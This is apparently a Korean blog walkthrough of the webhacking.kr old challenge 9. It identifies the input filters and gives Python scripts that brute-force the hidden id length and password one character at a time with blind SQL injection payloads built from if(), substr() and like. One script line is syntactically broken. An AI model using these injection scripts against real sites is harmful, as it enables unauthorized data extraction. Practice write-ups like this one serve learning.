일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 객체
- 배열
- xss game
- 파이썬
- htmlspecialchars
- 포인터
- blind sql injection
- 김성엽 대표님
- 사칙연산
- property
- Pwndbg
- lord of sql injection
- document
- window
- sql injection
- burp suite
- 조건문
- IF문
- 백준 알고리즘
- 백준 파이썬
- 메소드
- xss game 풀이
- suninatas 풀이
- 함수
- element 조회
- python
- 자바스크립트
- github
- object
- jQuery
- Today
- Total
power-girl0-0
[webhacking.kr-old] 9번 본문
주소 : https://webhacking.kr/old.php
[ 풀이 ]
오오 이번 문제는 배경색이 화이트이다!!
1번을 누를 때는 Apple, 2번을 누르면 Banana, 3번을 누르면 아래와 같이 페이지가 이동한다.
음,,, 느낌이 3번이 참 수상하게 느껴진다 ㅇㅁㅇ
no = 3에 해당하는 id가 비밀번호라고 적혀있기 때문이다!!
blind sql injection 문제로 예상되어 아래와 같이 시도해보았다.
일단, 'or 1=1# 쿼리를 입력해서 실행결과를 확인해보니, 아래와 같이 권한이 없다고 출력된다.
어떤 것을 필터링하는지 보기 위해, 다양한 시도를 한 결과 필터링 조건을 알 수 있었다.
'(작은 따옴표), "(큰따옴표), %27, %20, and, or, ||, =, ord, ascii, hex등을 필터링하고 있으며,
#, &&, ( ), like,substr 등이 가능한 것을 확인할 수 있다.
위 필터링을 바탕으로, 아래와 같이 실행해보았다.
해당 if문은 1이 true를 의미하며, 참이면 no=2에 해당되는 페이지로, 거짓이면 no=3페이지로 이동하게 설정한 조건문이다.
1. id 길이 구하기
if(length(id)like(11),3,0) |
위 쿼리에서 0은 아무것도 해당되지 않는 것으로, password의 입력창만 출력되는 페이지를 보여준다.
따라서, 쿼리문이 겹치지 않기 위해, false일 경우에는 no=0인 페이지로 넘어가게 설정한 것이다.
소스코드를 작성하여 확인해보았다.
import requests
c = {"cookie":"'PHPSESSID'='자신의 세션'"}
for i in range(0,50):
query = "if(length(id)like({}),3,0)".format(i)
print(query)
url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query)
res = requests.get(url, cookies=c)
if res.text.find("Secret") != -1:
print("id 길이 : {}".format(i))
break
위와 같이, 길이가 11인 것을 확인할 수 있다.
2. id 값 확인하기
해당 페이지에서 ord, ascii, hex함수를 필터링하고 있으므로, 아래와 같이 hex값으로 바꿔서 쿼리문에 대입하는 형식으로 코드를 작성하였다. 이는 아래와 같다.
import requests
c = {"cookie":"'PHPSESSID'='자신의 세션'"}
stop=0
str=''
for i in range(1,12):
if stop == 1:
break
for j in range(97,133):
h = hex(j)
query = "if(substr(id,{},1)like({}),3,0)".format(i,h)
url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query)
res = requests.get(url, cookies=c)
if res.text.find("Secret") != -1:
str += chr(j) print("{} : {}".format(i,str))
break
if j == 133:
stop = 1
break
print("password : {}".format(str))
패스워드가 alsrkswhaql이라는 것을 알 수 있다.
위에서 구한 패스워드를 입력창에 입력해보자.
문제 클리어~~
'War game > webhacking.kr' 카테고리의 다른 글
[webhacking.kr-old] 11번 (0) | 2021.06.22 |
---|---|
[webhacking.kr-old] 10번 (0) | 2021.06.21 |
[webhacking.kr-old] 8번 (0) | 2021.06.20 |
[webhacking.kr-old] 7번 (0) | 2021.06.20 |
[webhacking.kr-old] 6번 (0) | 2021.06.19 |